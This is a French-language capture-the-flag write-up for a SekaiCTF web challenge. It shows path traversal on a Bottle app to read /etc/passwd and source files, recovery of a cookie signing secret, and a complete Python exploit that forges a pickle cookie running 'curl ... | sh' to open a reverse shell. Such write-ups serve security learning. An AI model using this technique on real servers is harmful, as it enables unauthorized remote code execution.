• Auteur du write-up: Numb3rsProprety
  • Category: Web
  • Points: 500 => 100
  • Difficulty: Easy
  • Solves: 134/900

Description

Come and read poems in the bottle.

No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting >applied. > Flag is executable on server.

Author: bwjy

http://bottle-poem.ctf.sekai.team

Note

  • Ce chall était super intéressant et m’as appris plein de truc

Introduction

Overview

On arrive donc sur un site ou on nous propose de lire des poemes. Quand on clique sur un des poemes on est redirigé sur un endpoint /show avec un paramètre id=nom du poeme donc on se rend compte assez rapidement que on a une lfi par ce que si on met http://bottle-poem.ctf.sekai.team/show?id=/etc/passwd hop on a notre /etc/passwd.

J’ai perdu un temps infini a cet endroit par ce que je pensais pouvoir faire un log poisoning mais en fait le chall était en python donc pas de log.

Avec la lfi on lis le fichier /proc/self/cmdline et la on peux voir python3 -u /app/app.py donc la houra on a l’emplacement du site.

On lis ensuite le fichier app.py et on se rend compte que le chall utilise Bottle qui est un framework web pour python (comme Flask sauf que ca fait super peur) jusqu’a la rien d’alarmant.

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

On peut voir que les cookies sont signés via un variable dans /config/secret.py donc on lis ce fichier et la pof on a la clé utilise pour signer les cookies : Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu.

A partir de la ca a été assez compliqué par ce que on savais pas trop quoi faire mais Sanlokii le genie nous sors une doc d’un exploit nommée Known Secret (ci-joint: https://www.gsdays.fr/IMG/pdf/conf-scrt.pdf)

Enfait cet exploit consiste a signé un cookie vérolé avec la cle leaké. En l’occurence c’est tres intéressant pour nous car dans la ligne session = request.get_cookie("name", secret=sekai) la methode get_cookie est appelé.

Or cette methode est affreusement pas secure car quand on regarde le code de la lib bottle elle appelle la fonction cookie_decode on vois un return pickle.loads(base64.b64decode(msg)).

Tiens tiens tiens une insecure serialization avec pickle. La plus trop besoin de reflechir pour avoir notre rce il suffit de faire un cookie custom avec notre rce.

Exploit

La je me suis un peu cassé la tete j’ai voulu implémenter les fonctions de la lib au lieu de les import mais donc a la fin ca nous donne le code suivant:

import  os
from  bottle  import *
import  requests
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
url = "http://bottle-poem.ctf.sekai.team/sign"

class  RCE:
  def  __reduce__(self):
    cmd = ('curl https://reverse-shell.sh/ip:3333 | sh')
    return  os.system, (cmd,)

response.set_cookie("name", RCE(), secret=sekai)
payload = str(response)
payload = payload.replace("Content-Type: text/html; charset=UTF-8\nSet-Cookie: name=", '')
payload = payload.strip()
payload_send = {"name":f'{payload}'}
print("[+] Sending %s" % payload_send)
send_exploit = requests.get(url, cookies=payload_send)

J’avoue c’est pas super propre mais bon l’important c’est que ca marche La on recois notre reverse shell, plus qu’a faire un cd / && ./flag et pof.

Merci pour votre lecture :)